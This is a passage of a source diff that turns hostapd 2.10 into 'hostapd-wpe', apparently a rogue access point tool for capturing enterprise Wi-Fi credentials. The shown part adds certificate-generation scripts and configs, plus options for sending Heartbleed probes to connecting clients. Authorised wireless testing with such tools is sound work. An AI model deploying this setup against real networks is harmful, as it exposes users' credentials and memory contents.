827 + chains will take about 60 round trips. So don't use large
828 + certificate chains. They will only work after everyone upgrade
829 + everything in the network.
830 +
831 + - All other operating systems are known to work with EAP and
832 + FreeRADIUS. This includes Linux, *BSD, Mac OS X, Solaris,
833 + Symbian, along with all known embedded systems, phones, WiFi
834 + devices, etc.
835 +
836 + - Someone needs to ask Microsoft to please stop making life hard for
837 + their customers.
838 +
839 +
840 + SECURITY CONSIDERATIONS
841 +
842 +The default certificate configuration files uses MD5 for message
843 +digests, to maintain compatibility with network equipment that
844 +supports only this algorithm.
845 +
846 +MD5 has known weaknesses and is discouraged in favour of SHA1 (see
847 +http://www.kb.cert.org/vuls/id/836068 for details). If your network
848 +equipment supports the SHA1 signature algorithm, we recommend that you
849 +change the "ca.cnf", "server.cnf", and "client.cnf" files to specify
850 +the use of SHA1 for the certificates. To do this, change the
851 +'default_md' entry in those files from 'md5' to 'sha1'.
852 diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/README.wpe hostapd-2.10-wpe/hostapd/certs/README.wpe
853 --- hostapd-2.10/hostapd/certs/README.wpe 1970-01-01 00:00:00.000000000 +0000
854 +++ hostapd-2.10-wpe/hostapd/certs/README.wpe 2022-02-21 23:29:30.100000000 +0000
855 @@ -0,0 +1,13 @@
856 +# Certificate creation for Hostapd-WPE #
857 +########################################
858 +
859 +Usage:
860 +
861 +make clean
862 +./bootstrap
863 +make install
864 +
865 +Notes:
866 +- Windows 10 (and possibly any Windows starting from Vista) will fail EAP
867 + if certificates signed with MD5 are used.
868 +- Generated certificates used a SHA256 signature.
869 diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/bootstrap hostapd-2.10-wpe/hostapd/certs/bootstrap
870 --- hostapd-2.10/hostapd/certs/bootstrap 1970-01-01 00:00:00.000000000 +0000
871 +++ hostapd-2.10-wpe/hostapd/certs/bootstrap 2022-02-21 23:29:30.100000000 +0000
872 @@ -0,0 +1,82 @@
873 +#!/bin/sh
874 +#
875 +# This is a wrapper script to create default certificates when the
876 +# server first starts in debugging mode. Once the certificates have been
877 +# created, this file should be deleted.
878 +#
879 +# Ideally, this program should be run as part of the installation of any
880 +# binary package. The installation should also ensure that the permissions
881 +# and owners are correct for the files generated by this script.
882 +#
883 +# $Id: c9d939beac8d5bdc21ea1ff9233442f9ab933297 $
884 +#
885 +umask 027
886 +cd `dirname $0`
887 +
888 +make -h > /dev/null 2>&1
889 +
890 +#
891 +# If we have a working "make", then use it. Otherwise, run the commands
892 +# manually.
893 +#
894 +if [ "$?" = "0" ]; then
895 + make all
896 + exit $?
897 +fi
898 +
899 +#
900 +# The following commands were created by running "make -n", and edited
901 +# to remove the trailing backslash, and to add "exit 1" after the commands.
902 +#
903 +# Don't edit the following text. Instead, edit the Makefile, and
904 +# re-generate these commands.
905 +#
906 +if [ ! -f dh ]; then
907 + openssl dhparam -out dh 1024 || exit 1
908 + if [ -e /dev/urandom ] ; then
909 + ln -sf /dev/urandom random
910 + else
911 + date > ./random;
912 + fi
913 +fi
914 +
915 +if [ ! -f server.key ]; then
916 + openssl req -new -out server.csr -keyout server.key -config ./server.cnf || exit 1
917 +fi
918 +
919 +if [ ! -f ca.key ]; then
920 + openssl req -new -x509 -keyout ca.key -out ca.pem -days `grep default_days ca.cnf | sed 's/.*=//;s/^ *//'` -config ./ca.cnf || exit 1
921 +fi
922 +
923 +if [ ! -f index.txt ]; then
924 + touch index.txt
925 +fi
926 +
927 +if [ ! -f serial ]; then
928 + echo '01' > serial
929 +fi
930 +
931 +if [ ! -f server.crt ]; then
932 + openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr -key `grep output_password ca.cnf | sed 's/.*=//;s/^ *//'` -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf || exit 1
933 +fi
934 +
935 +if [ ! -f server.p12 ]; then
936 + openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12 -passin pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` || exit 1
937 +fi
938 +
939 +if [ ! -f server.pem ]; then
940 + openssl pkcs12 -in server.p12 -out server.pem -passin pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` -passout pass:`grep output_password server.cnf | sed 's/.*=//;s/^ *//'` || exit 1
941 + openssl verify -CAfile ca.pem server.pem || exit 1
942 +fi
943 +
944 +if [ ! -f ca.der ]; then
945 + openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der || exit 1
946 +fi
947 +
948 +if [ ! -f client.key ]; then
949 + openssl req -new -out client.csr -keyout client.key -config ./client.cnf
950 +fi
951 +
952 +if [ ! -f client.crt ]; then
953 + openssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr -key `grep output_password ca.cnf | sed 's/.*=//;s/^ *//'` -out client.crt -extensions xpclient_ext -extfile xpextensions -config ./client.cnf
954 +fi
955 diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/ca.cnf hostapd-2.10-wpe/hostapd/certs/ca.cnf
956 --- hostapd-2.10/hostapd/certs/ca.cnf 1970-01-01 00:00:00.000000000 +0000
957 +++ hostapd-2.10-wpe/hostapd/certs/ca.cnf 2022-02-21 23:29:30.100000000 +0000
958 @@ -0,0 +1,62 @@
959 +[ ca ]
960 +default_ca = CA_default
961 +
962 +[ CA_default ]
963 +dir = ./
964 +certs = $dir
965 +crl_dir = $dir/crl
966 +database = $dir/index.txt
967 +new_certs_dir = $dir
968 +certificate = $dir/ca.pem
969 +serial = $dir/serial
970 +crl = $dir/crl.pem
971 +private_key = $dir/ca.key
972 +RANDFILE = $dir/.rand
973 +name_opt = ca_default
974 +cert_opt = ca_default
975 +default_days = 365
976 +default_crl_days = 364
977 +default_md = sha256
978 +preserve = no
979 +policy = policy_match
980 +crlDistributionPoints = URI:http://www.example.org/example_ca.crl
981 +
982 +[ policy_match ]
983 +countryName = match
984 +stateOrProvinceName = match
985 +organizationName = match
986 +organizationalUnitName = optional
987 +commonName = supplied
988 +emailAddress = optional
989 +
990 +[ policy_anything ]
991 +countryName = optional
992 +stateOrProvinceName = optional
993 +localityName = optional
994 +organizationName = optional
995 +organizationalUnitName = optional
996 +commonName = supplied
997 +emailAddress = optional
998 +
999 +[ req ]
1000 +prompt = no
1001 +distinguished_name = certificate_authority
1002 +default_bits = 2048
1003 +input_password = whatever
1004 +output_password = whatever
1005 +x509_extensions = v3_ca
1006 +
1007 +[certificate_authority]
1008 +countryName = FR
1009 +stateOrProvinceName = Radius
1010 +localityName = Somewhere
1011 +organizationName = Example Inc.
1012 +emailAddress = [email protected]
1013 +commonName = "Example Certificate Authority"
1014 +
1015 +[v3_ca]
1016 +subjectKeyIdentifier = hash
1017 +authorityKeyIdentifier = keyid:always,issuer:always
1018 +basicConstraints = critical,CA:true
1019 +crlDistributionPoints = URI:http://www.example.org/example_ca.crl
1020 +
1021 diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/client.cnf hostapd-2.10-wpe/hostapd/certs/client.cnf
1022 --- hostapd-2.10/hostapd/certs/client.cnf 1970-01-01 00:00:00.000000000 +0000
1023 +++ hostapd-2.10-wpe/hostapd/certs/client.cnf 2022-02-21 23:29:30.100000000 +0000
1024 @@ -0,0 +1,53 @@
1025 +[ ca ]
1026 +default_ca = CA_default
1027 +
1028 +[ CA_default ]
1029 +dir = ./
1030 +certs = $dir
1031 +crl_dir = $dir/crl
1032 +database = $dir/index.txt
1033 +new_certs_dir = $dir
1034 +certificate = $dir/ca.pem
1035 +serial = $dir/serial
1036 +crl = $dir/crl.pem
1037 +private_key = $dir/ca.key
1038 +RANDFILE = $dir/.rand
1039 +name_opt = ca_default
1040 +cert_opt = ca_default
1041 +default_days = 365
1042 +default_crl_days = 364
1043 +default_md = sha256
1044 +preserve = no
1045 +policy = policy_match
1046 +
1047 +[ policy_match ]
1048 +countryName = match
1049 +stateOrProvinceName = match
1050 +organizationName = match
1051 +organizationalUnitName = optional
1052 +commonName = supplied
1053 +emailAddress = optional
1054 +
1055 +[ policy_anything ]
1056 +countryName = optional
1057 +stateOrProvinceName = optional
1058 +localityName = optional
1059 +organizationName = optional
1060 +organizationalUnitName = optional
1061 +commonName = supplied
1062 +emailAddress = optional
1063 +
1064 +[ req ]
1065 +prompt = no
1066 +distinguished_name = client
1067 +default_bits = 2048
1068 +input_password = whatever
1069 +output_password = whatever
1070 +
1071 +[client]
1072 +countryName = FR
1073 +stateOrProvinceName = Radius
1074 +localityName = Somewhere
1075 +organizationName = Example Inc.
1076 +emailAddress = [email protected]
1077 +commonName = [email protected]
1078 diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/demoCA/cacert.pem hostapd-2.10-wpe/hostapd/certs/demoCA/cacert.pem
1079 --- hostapd-2.10/hostapd/certs/demoCA/cacert.pem 1970-01-01 00:00:00.000000000 +0000
1080 +++ hostapd-2.10-wpe/hostapd/certs/demoCA/cacert.pem 2022-02-21 23:29:30.100000000 +0000
1081 @@ -0,0 +1,22 @@
1082 +-----BEGIN CERTIFICATE-----
1083 +MIIDtjCCAx+gAwIBAgIBADANBgkqhkiG9w0BAQQFADCBnzELMAkGA1UEBhMCQ0Ex
1084 +ETAPBgNVBAgTCFByb3ZpbmNlMRIwEAYDVQQHEwlTb21lIENpdHkxFTATBgNVBAoT
1085 +DE9yZ2FuaXphdGlvbjESMBAGA1UECxMJbG9jYWxob3N0MRswGQYDVQQDExJDbGll
1086 +bnQgY2VydGlmaWNhdGUxITAfBgkqhkiG9w0BCQEWEmNsaWVudEBleGFtcGxlLmNv
1087 +bTAeFw0wNDAxMjUxMzI2MDdaFw0wNjAxMjQxMzI2MDdaMIGfMQswCQYDVQQGEwJD
1088 +QTERMA8GA1UECBMIUHJvdmluY2UxEjAQBgNVBAcTCVNvbWUgQ2l0eTEVMBMGA1UE
1089 +ChMMT3JnYW5pemF0aW9uMRIwEAYDVQQLEwlsb2NhbGhvc3QxGzAZBgNVBAMTEkNs
1090 +aWVudCBjZXJ0aWZpY2F0ZTEhMB8GCSqGSIb3DQEJARYSY2xpZW50QGV4YW1wbGUu
1091 +Y29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDUxbGXJPFkrPH/sYnbHI+/
1092 +9PFDlup8sekPeNaUUXJTd4ld/lLMuZtB6A3etYsSepQ/T1jLxWKHgZL73G/s6fhx
1093 +58Ew01z1GIgX6bEzJJ7dKhx10xBDrodVPOx6d+8mqn10KB25t34XxkRsXdmxiLQy
1094 +UMoCKZY3IqEjpyawC0An/QIDAQABo4H/MIH8MB0GA1UdDgQWBBRo020+Hue8nVoF
1095 +cCHDY9oTZdGt4zCBzAYDVR0jBIHEMIHBgBRo020+Hue8nVoFcCHDY9oTZdGt46GB
1096 +paSBojCBnzELMAkGA1UEBhMCQ0ExETAPBgNVBAgTCFByb3ZpbmNlMRIwEAYDVQQH
1097 +EwlTb21lIENpdHkxFTATBgNVBAoTDE9yZ2FuaXphdGlvbjESMBAGA1UECxMJbG9j
1098 +YWxob3N0MRswGQYDVQQDExJDbGllbnQgY2VydGlmaWNhdGUxITAfBgkqhkiG9w0B
1099 +CQEWEmNsaWVudEBleGFtcGxlLmNvbYIBADAMBgNVHRMEBTADAQH/MA0GCSqGSIb3
1100 +DQEBBAUAA4GBADPAC2ax5Xnvc6BnmCUtq41eVRH8AP0nbYDRL4NHd8Z0P9wnQ/yh
1101 +UHcE5LwJeeT2CsOtnug+bzRzaSKdH3cim6LpgjWdpWMCSgAWPbptbJhsC60or4UT
1102 +L/jw12UBvxt8Lf9ljOHmLAGZe25k4+jUNzNUzpkShHZRU5BjuFu8VIXF
1103 +-----END CERTIFICATE-----
1104 diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/server.cnf hostapd-2.10-wpe/hostapd/certs/server.cnf
1105 --- hostapd-2.10/hostapd/certs/server.cnf 1970-01-01 00:00:00.000000000 +0000
1106 +++ hostapd-2.10-wpe/hostapd/certs/server.cnf 2022-02-21 23:29:30.100000000 +0000
1107 @@ -0,0 +1,54 @@
1108 +[ ca ]
1109 +default_ca = CA_default
1110 +
1111 +[ CA_default ]
1112 +dir = ./
1113 +certs = $dir
1114 +crl_dir = $dir/crl
1115 +database = $dir/index.txt
1116 +new_certs_dir = $dir
1117 +certificate = $dir/server.pem
1118 +serial = $dir/serial
1119 +crl = $dir/crl.pem
1120 +private_key = $dir/server.key
1121 +RANDFILE = $dir/.rand
1122 +name_opt = ca_default
1123 +cert_opt = ca_default
1124 +default_days = 60
1125 +default_crl_days = 30
1126 +default_md = sha256
1127 +preserve = no
1128 +policy = policy_match
1129 +
1130 +[ policy_match ]
1131 +countryName = match
1132 +stateOrProvinceName = match
1133 +organizationName = match
1134 +organizationalUnitName = optional
1135 +commonName = supplied
1136 +emailAddress = optional
1137 +
1138 +[ policy_anything ]
1139 +countryName = optional
1140 +stateOrProvinceName = optional
1141 +localityName = optional
1142 +organizationName = optional
1143 +organizationalUnitName = optional
1144 +commonName = supplied
1145 +emailAddress = optional
1146 +
1147 +[ req ]
1148 +prompt = no
1149 +distinguished_name = server
1150 +default_bits = 2048
1151 +input_password = whatever
1152 +output_password = whatever
1153 +
1154 +[server]
1155 +countryName = FR
1156 +stateOrProvinceName = Radius
1157 +localityName = Somewhere
1158 +organizationName = Example Inc.
1159 +emailAddress = [email protected]
1160 +commonName = "Example Server Certificate"
1161 +
1162 diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/xpextensions hostapd-2.10-wpe/hostapd/certs/xpextensions
1163 --- hostapd-2.10/hostapd/certs/xpextensions 1970-01-01 00:00:00.000000000 +0000
1164 +++ hostapd-2.10-wpe/hostapd/certs/xpextensions 2022-02-21 23:29:30.100000000 +0000
1165 @@ -0,0 +1,24 @@
1166 +#
1167 +# File containing the OIDs required for Windows.
1168 +#
1169 +# http://support.microsoft.com/kb/814394/en-us
1170 +#
1171 +[ xpclient_ext]
1172 +extendedKeyUsage = 1.3.6.1.5.5.7.3.2
1173 +crlDistributionPoints = URI:http://www.example.com/example_ca.crl
1174 +
1175 +[ xpserver_ext]
1176 +extendedKeyUsage = 1.3.6.1.5.5.7.3.1
1177 +crlDistributionPoints = URI:http://www.example.com/example_ca.crl
1178 +
1179 +#
1180 +# Add this to the PKCS#7 keybag attributes holding the client's private key
1181 +# for machine authentication.
1182 +#
1183 +# the presence of this OID tells Windows XP that the cert is intended
1184 +# for use by the computer itself, and not by an end-user.
1185 +#
1186 +# The other solution is to use Microsoft's web certificate server
1187 +# to generate these certs.
1188 +#
1189 +# 1.3.6.1.4.1.311.17.2
1190 diff '--color=auto' -rupN hostapd-2.10/hostapd/config_file.c hostapd-2.10-wpe/hostapd/config_file.c
1191 --- hostapd-2.10/hostapd/config_file.c 2022-01-16 20:51:29.000000000 +0000
1192 +++ hostapd-2.10-wpe/hostapd/config_file.c 2022-02-21 23:29:30.100000000 +0000
1193 @@ -24,7 +24,7 @@
1194 #include "ap/wpa_auth.h"
1195 #include "ap/ap_config.h"
1196 #include "config_file.h"
1197 -
1198 +#include "wpe/wpe.h"
1199
1200 #ifndef CONFIG_NO_VLAN
1201 static int hostapd_config_read_vlan_file(struct hostapd_bss_config *bss,
1202 @@ -2493,6 +2493,22 @@ static int hostapd_config_fill(struct ho
1203 }
1204 bss->eapol_version = eapol_version;
1205 wpa_printf(MSG_DEBUG, "eapol_version=%d", bss->eapol_version);
1206 +#if OPENSSL_VERSION_NUMBER < 0x10100000L
1207 + } else if (os_strcmp(buf, "wpe_logfile") == 0) {
1208 + wpe_conf.wpe_logfile = os_strdup(pos);
1209 + } else if (os_strcmp(buf, "wpe_hb_send_before_handshake") == 0) {
1210 + wpe_conf.wpe_hb_send_before_handshake = atoi(pos);
1211 + } else if (os_strcmp(buf, "wpe_hb_send_before_appdata") == 0) {
1212 + wpe_conf.wpe_hb_send_before_appdata = atoi(pos);
1213 + } else if (os_strcmp(buf, "wpe_hb_send_after_appdata") == 0) {
1214 + wpe_conf.wpe_hb_send_after_appdata = atoi(pos);
1215 + } else if (os_strcmp(buf, "wpe_hb_payload_size") == 0) {
1216 + wpe_conf.wpe_hb_payload_size = atoi(pos);
1217 + } else if (os_strcmp(buf, "wpe_hb_num_repeats") == 0) {
1218 + wpe_conf.wpe_hb_num_repeats = atoi(pos);
1219 + } else if (os_strcmp(buf, "wpe_hb_num_tries") == 0) {
1220 + wpe_conf.wpe_hb_num_tries = atoi(pos);
1221 +#endif /* #if OPENSSL_VERSION_NUMBER < 0x10100000L */
1222 #ifdef EAP_SERVER
1223 } else if (os_strcmp(buf, "eap_authenticator") == 0) {
1224 bss->eap_server = atoi(pos);
1225 diff '--color=auto' -rupN hostapd-2.10/hostapd/hostapd-wpe.conf hostapd-2.10-wpe/hostapd/hostapd-wpe.conf
1226 --- hostapd-2.10/hostapd/hostapd-wpe.conf 1970-01-01 00:00:00.000000000 +0000
1227 +++ hostapd-2.10-wpe/hostapd/hostapd-wpe.conf 2022-02-21 23:29:30.100000000 +0000
1228 @@ -0,0 +1,2042 @@
1229 +# Configuration file for hostapd-wpe
1230 +
1231 +# Interface - Probably wlan0 for 802.11, eth0 for wired
1232 +interface=wlan0
1233 +
1234 +# May have to change these depending on build location
1235 +eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
1236 +ca_cert=/etc/hostapd-wpe/ca.pem
1237 +server_cert=/etc/hostapd-wpe/server.pem
1238 +private_key=/etc/hostapd-wpe/server.key
1239 +private_key_passwd=whatever
1240 +dh_file=/etc/hostapd-wpe/dh
1241 +
1242 +# 802.11 Options
1243 +ssid=hostapd-wpe
1244 +channel=1
1245 +
1246 +# WPE Options - Dont need to change these to make it all work
1247 +#
1248 +# wpe_logfile=somefile # (Default: ./hostapd-wpe.log)
1249 +# wpe_hb_send_before_handshake=0 # Heartbleed True/False (Default: 1)
1250 +# wpe_hb_send_before_appdata=0 # Heartbleed True/False (Default: 0)
1251 +# wpe_hb_send_after_appdata=0 # Heartbleed True/False (Default: 0)
1252 +# wpe_hb_payload_size=0 # Heartbleed 0-65535 (Default: 50000)
1253 +# wpe_hb_num_repeats=0 # Heartbleed 0-65535 (Default: 1)
1254 +# wpe_hb_num_tries=0 # Heartbleed 0-65535 (Default: 1)
1255 +
1256 +
1257 +# Dont mess with unless you know what you're doing
1258 +eap_server=1
1259 +eap_fast_a_id=101112131415161718191a1b1c1d1e1f
1260 +eap_fast_a_id_info=hostapd-wpe
1261 +eap_fast_prov=3
1262 +ieee8021x=1
1263 +pac_key_lifetime=604800
1264 +pac_key_refresh_time=86400
1265 +pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f
1266 +wpa=2
1267 +wpa_key_mgmt=WPA-EAP
1268 +wpa_pairwise=CCMP
1269 +rsn_pairwise=CCMP
1270 +
1271 +##############################################################################
1272 +# Everything below this line is pretty much the standard hostapd.conf
1273 +###############################################################################
1274 +
1275 +##### hostapd configuration file ##############################################
1276 +# Empty lines and lines starting with # are ignored
1277 +
1278 +# AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for
1279 +# management frames with the Host AP driver); wlan0 with many nl80211 drivers
1280 +# Note: This attribute can be overridden by the values supplied with the '-i'
1281 +# command line parameter.
1282 +#interface=wlan0
1283 +
1284 +# In case of atheros and nl80211 driver interfaces, an additional
1285 +# configuration parameter, bridge, may be used to notify hostapd if the
1286 +# interface is included in a bridge. This parameter is not used with Host AP
1287 +# driver. If the bridge parameter is not set, the drivers will automatically
1288 +# figure out the bridge interface (assuming sysfs is enabled and mounted to
1289 +# /sys) and this parameter may not be needed.
1290 +#
1291 +# For nl80211, this parameter can be used to request the AP interface to be
1292 +# added to the bridge automatically (brctl may refuse to do this before hostapd
1293 +# has been started to change the interface mode). If needed, the bridge
1294 +# interface is also created.
1295 +#bridge=br0
1296 +
1297 +# Driver interface type (hostap/wired/none/nl80211/bsd);
1298 +# default: hostap). nl80211 is used with all Linux mac80211 drivers.
1299 +# Use driver=none if building hostapd as a standalone RADIUS server that does
1300 +# not control any wireless/wired driver.
1301 +# driver=hostap
1302 +
1303 +# Driver interface parameters (mainly for development testing use)
1304 +# driver_params=<params>
1305 +
1306 +# hostapd event logger configuration
1307 +#
1308 +# Two output method: syslog and stdout (only usable if not forking to
1309 +# background).
1310 +#
1311 +# Module bitfield (ORed bitfield of modules that will be logged; -1 = all
1312 +# modules):
1313 +# bit 0 (1) = IEEE 802.11
1314 +# bit 1 (2) = IEEE 802.1X
1315 +# bit 2 (4) = RADIUS
1316 +# bit 3 (8) = WPA
1317 +# bit 4 (16) = driver interface
1318 +# bit 5 (32) = IAPP
1319 +# bit 6 (64) = MLME
1320 +#
1321 +# Levels (minimum value for logged events):
1322 +# 0 = verbose debugging
1323 +# 1 = debugging
1324 +# 2 = informational messages
1325 +# 3 = notification
1326 +# 4 = warning
1327 +#
1328 +logger_syslog=-1
1329 +logger_syslog_level=2
1330 +logger_stdout=-1
1331 +logger_stdout_level=2
1332 +
1333 +# Interface for separate control program. If this is specified, hostapd
1334 +# will create this directory and a UNIX domain socket for listening to requests
1335 +# from external programs (CLI/GUI, etc.) for status information and
1336 +# configuration. The socket file will be named based on the interface name, so
1337 +# multiple hostapd processes/interfaces can be run at the same time if more
1338 +# than one interface is used.
1339 +# /var/run/hostapd is the recommended directory for sockets and by default,
1340 +# hostapd_cli will use it when trying to connect with hostapd.
1341 +ctrl_interface=/var/run/hostapd
1342 +
1343 +# Access control for the control interface can be configured by setting the
1344 +# directory to allow only members of a group to use sockets. This way, it is
1345 +# possible to run hostapd as root (since it needs to change network
1346 +# configuration and open raw sockets) and still allow GUI/CLI components to be
1347 +# run as non-root users. However, since the control interface can be used to
1348 +# change the network configuration, this access needs to be protected in many
1349 +# cases. By default, hostapd is configured to use gid 0 (root). If you
1350 +# want to allow non-root users to use the contron interface, add a new group
1351 +# and change this value to match with that group. Add users that should have
1352 +# control interface access to this group.
1353 +#
1354 +# This variable can be a group name or gid.
1355 +#ctrl_interface_group=wheel
1356 +ctrl_interface_group=0
1357 +
1358 +
1359 +##### IEEE 802.11 related configuration #######################################
1360 +
1361 +# SSID to be used in IEEE 802.11 management frames
1362 +#ssid=test
1363 +# Alternative formats for configuring SSID
1364 +# (double quoted string, hexdump, printf-escaped string)
1365 +#ssid2="test"
1366 +#ssid2=74657374
1367 +#ssid2=P"hello\nthere"
1368 +
1369 +# UTF-8 SSID: Whether the SSID is to be interpreted using UTF-8 encoding
1370 +#utf8_ssid=1
1371 +
1372 +# Country code (ISO/IEC 3166-1). Used to set regulatory domain.
1373 +# Set as needed to indicate country in which device is operating.
1374 +# This can limit available channels and transmit power.
1375 +#country_code=US
1376 +
1377 +# Enable IEEE 802.11d. This advertises the country_code and the set of allowed
1378 +# channels and transmit power levels based on the regulatory limits. The
1379 +# country_code setting must be configured with the correct country for
1380 +# IEEE 802.11d functions.
1381 +# (default: 0 = disabled)
1382 +#ieee80211d=1
1383 +
1384 +# Enable IEEE 802.11h. This enables radar detection and DFS support if
1385 +# available. DFS support is required on outdoor 5 GHz channels in most countries
1386 +# of the world. This can be used only with ieee80211d=1.
1387 +# (default: 0 = disabled)
1388 +#ieee80211h=1
1389 +
1390 +# Add Power Constraint element to Beacon and Probe Response frames
1391 +# This config option adds Power Constraint element when applicable and Country
1392 +# element is added. Power Constraint element is required by Transmit Power
1393 +# Control. This can be used only with ieee80211d=1.
1394 +# Valid values are 0..255.
1395 +#local_pwr_constraint=3
1396 +
1397 +# Set Spectrum Management subfield in the Capability Information field.
1398 +# This config option forces the Spectrum Management bit to be set. When this
1399 +# option is not set, the value of the Spectrum Management bit depends on whether
1400 +# DFS or TPC is required by regulatory authorities. This can be used only with
1401 +# ieee80211d=1 and local_pwr_constraint configured.
1402 +#spectrum_mgmt_required=1
1403 +
1404 +# Operation mode (a = IEEE 802.11a (5 GHz), b = IEEE 802.11b (2.4 GHz),
1405 +# g = IEEE 802.11g (2.4 GHz), ad = IEEE 802.11ad (60 GHz); a/g options are used
1406 +# with IEEE 802.11n (HT), too, to specify band). For IEEE 802.11ac (VHT), this
1407 +# needs to be set to hw_mode=a. When using ACS (see channel parameter), a
1408 +# special value "any" can be used to indicate that any support band can be used.
1409 +# This special case is currently supported only with drivers with which
1410 +# offloaded ACS is used.
1411 +# Default: IEEE 802.11b
1412 +hw_mode=g
1413 +
1414 +# Channel number (IEEE 802.11)
1415 +# (default: 0, i.e., not set)
1416 +# Please note that some drivers do not use this value from hostapd and the
1417 +# channel will need to be configured separately with iwconfig.
1418 +#
1419 +# If CONFIG_ACS build option is enabled, the channel can be selected
1420 +# automatically at run time by setting channel=acs_survey or channel=0, both of
1421 +# which will enable the ACS survey based algorithm.
1422 +#channel=1
1423 +
1424 +# ACS tuning - Automatic Channel Selection
1425 +# See: http://wireless.kernel.org/en/users/Documentation/acs
1426 +#
1427 +# You can customize the ACS survey algorithm with following variables:
1428 +#
1429 +# acs_num_scans requirement is 1..100 - number of scans to be performed that
1430 +# are used to trigger survey data gathering of an underlying device driver.
1431 +# Scans are passive and typically take a little over 100ms (depending on the
1432 +# driver) on each available channel for given hw_mode. Increasing this value
1433 +# means sacrificing startup time and gathering more data wrt channel
1434 +# interference that may help choosing a better channel. This can also help fine
1435 +# tune the ACS scan time in case a driver has different scan dwell times.
1436 +#
1437 +# acs_chan_bias is a space-separated list of <channel>:<bias> pairs. It can be
1438 +# used to increase (or decrease) the likelihood of a specific channel to be
1439 +# selected by the ACS algorithm. The total interference factor for each channel
1440 +# gets multiplied by the specified bias value before finding the channel with
1441 +# the lowest value. In other words, values between 0.0 and 1.0 can be used to
1442 +# make a channel more likely to be picked while values larger than 1.0 make the
1443 +# specified channel less likely to be picked. This can be used, e.g., to prefer
1444 +# the commonly used 2.4 GHz band channels 1, 6, and 11 (which is the default
1445 +# behavior on 2.4 GHz band if no acs_chan_bias parameter is specified).
1446 +#
1447 +# Defaults:
1448 +#acs_num_scans=5
1449 +#acs_chan_bias=1:0.8 6:0.8 11:0.8
1450 +
1451 +# Channel list restriction. This option allows hostapd to select one of the
1452 +# provided channels when a channel should be automatically selected.
1453 +# Channel list can be provided as range using hyphen ('-') or individual
1454 +# channels can be specified by space (' ') separated values
1455 +# Default: all channels allowed in selected hw_mode
1456 +#chanlist=100 104 108 112 116
1457 +#chanlist=1 6 11-13
1458 +
1459 +# Beacon interval in kus (1.024 ms) (default: 100; range 15..65535)
1460 +beacon_int=100
1461 +
1462 +# DTIM (delivery traffic information message) period (range 1..255):
1463 +# number of beacons between DTIMs (1 = every beacon includes DTIM element)
1464 +# (default: 2)
1465 +dtim_period=2
1466 +
1467 +# Maximum number of stations allowed in station table. New stations will be
1468 +# rejected after the station table is full. IEEE 802.11 has a limit of 2007
1469 +# different association IDs, so this number should not be larger than that.
1470 +# (default: 2007)
1471 +max_num_sta=255
1472 +
1473 +# RTS/CTS threshold; -1 = disabled (default); range -1..65535
1474 +# If this field is not included in hostapd.conf, hostapd will not control
1475 +# RTS threshold and 'iwconfig wlan# rts <val>' can be used to set it.
1476 +rts_threshold=-1
1477 +
1478 +# Fragmentation threshold; -1 = disabled (default); range -1, 256..2346
1479 +# If this field is not included in hostapd.conf, hostapd will not control
1480 +# fragmentation threshold and 'iwconfig wlan# frag <val>' can be used to set
1481 +# it.
1482 +fragm_threshold=-1
1483 +
1484 +# Rate configuration
1485 +# Default is to enable all rates supported by the hardware. This configuration
1486 +# item allows this list be filtered so that only the listed rates will be left
1487 +# in the list. If the list is empty, all rates are used. This list can have
1488 +# entries that are not in the list of rates the hardware supports (such entries
1489 +# are ignored). The entries in this list are in 100 kbps, i.e., 11 Mbps = 110.
1490 +# If this item is present, at least one rate have to be matching with the rates
1491 +# hardware supports.
1492 +# default: use the most common supported rate setting for the selected
1493 +# hw_mode (i.e., this line can be removed from configuration file in most
1494 +# cases)
1495 +#supported_rates=10 20 55 110 60 90 120 180 240 360 480 540
1496 +
1497 +# Basic rate set configuration
1498 +# List of rates (in 100 kbps) that are included in the basic rate set.
1499 +# If this item is not included, usually reasonable default set is used.
1500 +#basic_rates=10 20
1501 +#basic_rates=10 20 55 110
1502 +#basic_rates=60 120 240
1503 +
1504 +# Short Preamble
1505 +# This parameter can be used to enable optional use of short preamble for
1506 +# frames sent at 2 Mbps, 5.5 Mbps, and 11 Mbps to improve network performance.
1507 +# This applies only to IEEE 802.11b-compatible networks and this should only be
1508 +# enabled if the local hardware supports use of short preamble. If any of the
1509 +# associated STAs do not support short preamble, use of short preamble will be
1510 +# disabled (and enabled when such STAs disassociate) dynamically.
1511 +# 0 = do not allow use of short preamble (default)
1512 +# 1 = allow use of short preamble
1513 +#preamble=1
1514 +
1515 +# Station MAC address -based authentication
1516 +# Please note that this kind of access control requires a driver that uses
1517 +# hostapd to take care of management frame processing and as such, this can be
1518 +# used with driver=hostap or driver=nl80211, but not with driver=atheros.
1519 +# 0 = accept unless in deny list
1520 +# 1 = deny unless in accept list
1521 +# 2 = use external RADIUS server (accept/deny lists are searched first)
1522 +macaddr_acl=0
1523 +
1524 +# Accept/deny lists are read from separate files (containing list of
1525 +# MAC addresses, one per line). Use absolute path name to make sure that the
1526 +# files can be read on SIGHUP configuration reloads.
1527 +#accept_mac_file=/etc/hostapd.accept
1528 +#deny_mac_file=/etc/hostapd.deny
1529 +
1530 +# IEEE 802.11 specifies two authentication algorithms. hostapd can be
1531 +# configured to allow both of these or only one. Open system authentication
1532 +# should be used with IEEE 802.1X.
1533 +# Bit fields of allowed authentication algorithms:
1534 +# bit 0 = Open System Authentication
1535 +# bit 1 = Shared Key Authentication (requires WEP)
1536 +auth_algs=3
1537 +
1538 +# Send empty SSID in beacons and ignore probe request frames that do not
1539 +# specify full SSID, i.e., require stations to know SSID.
